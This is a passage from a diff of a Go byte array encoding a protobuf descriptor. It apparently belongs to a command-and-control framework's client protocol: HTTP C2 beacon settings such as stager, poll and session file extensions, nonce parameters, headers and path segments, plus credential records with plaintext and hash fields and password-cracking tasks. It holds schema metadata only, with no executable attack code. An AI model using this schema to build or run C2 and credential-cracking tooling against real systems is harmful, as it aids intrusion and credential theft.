- 0x6c, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x08, 0x52, 0x16, 0x44, 0x65, 0x70, 0x72, 0x65, 0x63,
- 0x61, 0x74, 0x65, 0x64, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65,
- 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08,
- 0x52, 0x06, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x74, 0x61, 0x74,
- 0x75, 0x73, 0x4a, 0x53, 0x4f, 0x4e, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x53, 0x74,
- 0x61, 0x74, 0x75, 0x73, 0x4a, 0x53, 0x4f, 0x4e, 0x12, 0x20, 0x0a, 0x0b, 0x53, 0x74, 0x61, 0x74,
- 0x75, 0x73, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x53,
- 0x74, 0x61, 0x74, 0x75, 0x73, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x2c, 0x0a, 0x11, 0x53, 0x74,
- 0x64, 0x69, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x18,
- 0x0d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x53, 0x74, 0x64, 0x69, 0x6e, 0x54, 0x69, 0x6d, 0x65,
- 0x6f, 0x75, 0x74, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x12, 0x28, 0x0a, 0x0f, 0x4d, 0x61, 0x63, 0x68,
- 0x69, 0x6e, 0x65, 0x52, 0x65, 0x61, 0x64, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x0e, 0x20, 0x01, 0x28,
- 0x08, 0x52, 0x0f, 0x4d, 0x61, 0x63, 0x68, 0x69, 0x6e, 0x65, 0x52, 0x65, 0x61, 0x64, 0x61, 0x62,
- 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4b, 0x65, 0x65, 0x70, 0x47, 0x75, 0x65, 0x73, 0x73, 0x69,
- 0x6e, 0x67, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x4b, 0x65, 0x65, 0x70, 0x47, 0x75,
- 0x65, 0x73, 0x73, 0x69, 0x6e, 0x67, 0x12, 0x28, 0x0a, 0x0f, 0x53, 0x65, 0x6c, 0x66, 0x54, 0x65,
- 0x73, 0x74, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x10, 0x20, 0x01, 0x28, 0x08, 0x52,
+ 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x61, 0x63, 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f,
+ 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4d, 0x61, 0x63, 0x4f, 0x53, 0x56, 0x65,
+ 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x2e, 0x0a, 0x12, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x51, 0x75,
+ 0x65, 0x72, 0x79, 0x41, 0x72, 0x67, 0x43, 0x68, 0x61, 0x72, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28,
+ 0x09, 0x52, 0x12, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x51, 0x75, 0x65, 0x72, 0x79, 0x41, 0x72, 0x67,
+ 0x43, 0x68, 0x61, 0x72, 0x73, 0x12, 0x4c, 0x0a, 0x12, 0x45, 0x78, 0x74, 0x72, 0x61, 0x55, 0x52,
+ 0x4c, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x65, 0x74, 0x65, 0x72, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28,
+ 0x0b, 0x32, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54,
+ 0x50, 0x43, 0x32, 0x55, 0x52, 0x4c, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x65, 0x74, 0x65, 0x72, 0x52,
+ 0x12, 0x45, 0x78, 0x74, 0x72, 0x61, 0x55, 0x52, 0x4c, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x65, 0x74,
+ 0x65, 0x72, 0x73, 0x12, 0x30, 0x0a, 0x07, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x18, 0x07,
+ 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
+ 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x07, 0x48, 0x65,
+ 0x61, 0x64, 0x65, 0x72, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65,
+ 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65,
+ 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x4d, 0x69, 0x6e, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x09, 0x20,
+ 0x01, 0x28, 0x05, 0x52, 0x08, 0x4d, 0x69, 0x6e, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x1a, 0x0a,
+ 0x08, 0x4d, 0x61, 0x78, 0x50, 0x61, 0x74, 0x68, 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x05, 0x52,
+ 0x08, 0x4d, 0x61, 0x78, 0x50, 0x61, 0x74, 0x68, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x4d, 0x69, 0x6e,
+ 0x50, 0x61, 0x74, 0x68, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x4d, 0x69, 0x6e,
+ 0x50, 0x61, 0x74, 0x68, 0x73, 0x12, 0x30, 0x0a, 0x13, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x46,
+ 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0c, 0x20, 0x01,
+ 0x28, 0x09, 0x52, 0x13, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78,
+ 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x2c, 0x0a, 0x11, 0x50, 0x6f, 0x6c, 0x6c, 0x46,
+ 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0d, 0x20, 0x01,
+ 0x28, 0x09, 0x52, 0x11, 0x50, 0x6f, 0x6c, 0x6c, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65,
+ 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x3c, 0x0a, 0x19, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65,
+ 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69,
+ 0x6f, 0x6e, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x09, 0x52, 0x19, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53,
+ 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73,
+ 0x69, 0x6f, 0x6e, 0x12, 0x32, 0x0a, 0x14, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x46, 0x69,
+ 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0f, 0x20, 0x01, 0x28,
+ 0x09, 0x52, 0x14, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78,
+ 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x2e, 0x0a, 0x12, 0x43, 0x6c, 0x6f, 0x73, 0x65,
+ 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x10, 0x20,
+ 0x01, 0x28, 0x09, 0x52, 0x12, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78,
+ 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x3f, 0x0a, 0x0c, 0x50, 0x61, 0x74, 0x68, 0x53,
+ 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x11, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e,
+ 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x50,
+ 0x61, 0x74, 0x68, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x0c, 0x50, 0x61, 0x74, 0x68,
+ 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x22, 0x32, 0x0a, 0x0c, 0x48, 0x54, 0x54, 0x50,
+ 0x43, 0x32, 0x43, 0x6f, 0x6f, 0x6b, 0x69, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01,
+ 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65,
+ 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x82, 0x01, 0x0a,
+ 0x0c, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x0e, 0x0a,
+ 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x16, 0x0a,
+ 0x06, 0x4d, 0x65, 0x74, 0x68, 0x6f, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4d,
+ 0x65, 0x74, 0x68, 0x6f, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20,
+ 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x56, 0x61, 0x6c,
+ 0x75, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12,
+ 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x62, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x79, 0x18, 0x05,
+ 0x20, 0x01, 0x28, 0x05, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x62, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74,
+ 0x79, 0x22, 0x88, 0x01, 0x0a, 0x12, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x55, 0x52, 0x4c, 0x50,
+ 0x61, 0x72, 0x61, 0x6d, 0x65, 0x74, 0x65, 0x72, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01,
+ 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x4d, 0x65, 0x74, 0x68,
+ 0x6f, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4d, 0x65, 0x74, 0x68, 0x6f, 0x64,
+ 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04,
+ 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x04, 0x20,
+ 0x01, 0x28, 0x09, 0x52, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72,
+ 0x6f, 0x62, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x79, 0x18, 0x05, 0x20, 0x01, 0x28, 0x05, 0x52,
+ 0x0b, 0x50, 0x72, 0x6f, 0x62, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x79, 0x22, 0x90, 0x01, 0x0a,
+ 0x11, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x50, 0x61, 0x74, 0x68, 0x53, 0x65, 0x67, 0x6d, 0x65,
+ 0x6e, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02,
+ 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x49, 0x73, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x02, 0x20, 0x01,
+ 0x28, 0x08, 0x52, 0x06, 0x49, 0x73, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x3d, 0x0a, 0x0b, 0x53, 0x65,
+ 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32,
+ 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43,
+ 0x32, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x52, 0x0b, 0x53, 0x65,
+ 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x56, 0x61, 0x6c,
+ 0x75, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x22,
+ 0x80, 0x02, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, 0x0e,
+ 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a,
+ 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09,
+ 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x50, 0x6c,
+ 0x61, 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x50,
+ 0x6c, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x61, 0x73, 0x68,
+ 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x61, 0x73, 0x68, 0x12, 0x2e, 0x0a, 0x08,
+ 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12,
+ 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79,
+ 0x70, 0x65, 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1c, 0x0a, 0x09,
+ 0x49, 0x73, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52,
+ 0x09, 0x49, 0x73, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x4f, 0x72,
+ 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01,
+ 0x28, 0x09, 0x52, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55,
+ 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e,
+ 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69,
+ 0x6f, 0x6e, 0x22, 0x45, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c,
+ 0x73, 0x12, 0x36, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73,
+ 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
+ 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x52, 0x0b, 0x43, 0x72,
+ 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x22, 0x4d, 0x0a, 0x0d, 0x43, 0x72, 0x61,
+ 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x3c, 0x0a, 0x0d, 0x43, 0x72,
+ 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28,
+ 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61,
+ 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b,
+ 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xed, 0x01, 0x0a, 0x12, 0x43, 0x72, 0x61,
+ 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12,
+ 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e,
+ 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18,
+ 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12,
+ 0x26, 0x0a, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x10,
+ 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x74, 0x65, 0x73,
+ 0x52, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x2c, 0x0a, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65,
+ 0x6e, 0x74, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01,
+ 0x28, 0x09, 0x52, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x43, 0x72, 0x61, 0x63, 0x6b,
+ 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x73, 0x53, 0x79, 0x6e, 0x63, 0x69,
+ 0x6e, 0x67, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x73, 0x53, 0x79, 0x6e, 0x63,
+ 0x69, 0x6e, 0x67, 0x12, 0x33, 0x0a, 0x07, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x18, 0x06,
+ 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
+ 0x43, 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x52,
+ 0x07, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x22, 0xa9, 0x01, 0x0a, 0x0f, 0x43, 0x72, 0x61,
+ 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x14, 0x0a, 0x05,
+ 0x53, 0x70, 0x65, 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, 0x53, 0x70, 0x65,
+ 0x65, 0x64, 0x12, 0x43, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x18, 0x02,
+ 0x20, 0x03, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
+ 0x43, 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x2e,
+ 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x50,
+ 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x1a, 0x3b, 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x67, 0x72,
+ 0x65, 0x73, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18,
+ 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61,
+ 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65,
+ 0x3a, 0x02, 0x38, 0x01, 0x22, 0xc9, 0x01, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65,
+ 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18,
+ 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48,
+ 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48,
+ 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x48, 0x0a, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68,
+ 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x28, 0x2e, 0x63, 0x6c,
+ 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, 0x63,
+ 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x2e, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73,
+ 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b,
+ 0x73, 0x1a, 0x3d, 0x0a, 0x0f, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45,
+ 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28,
+ 0x05, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18,
+ 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01,
+ 0x22, 0xd9, 0x01, 0x0a, 0x09, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x0e,
+ 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a,
+ 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09,
+ 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72,
+ 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43,
+ 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x74, 0x61, 0x72,
+ 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x53, 0x74, 0x61,
+ 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65,
+ 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x43, 0x6f, 0x6d,
+ 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18,
+ 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x30, 0x0a, 0x07, 0x43, 0x6f,
+ 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c,
+ 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6d, 0x6d,
+ 0x61, 0x6e, 0x64, 0x52, 0x07, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x22, 0xfd, 0x03, 0x0a,
+ 0x0c, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0e, 0x0a,
+ 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a,
+ 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d,
+ 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d,
+ 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f,
+ 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x04, 0x20,
+ 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41,
+ 0x52, 0x43, 0x48, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43,
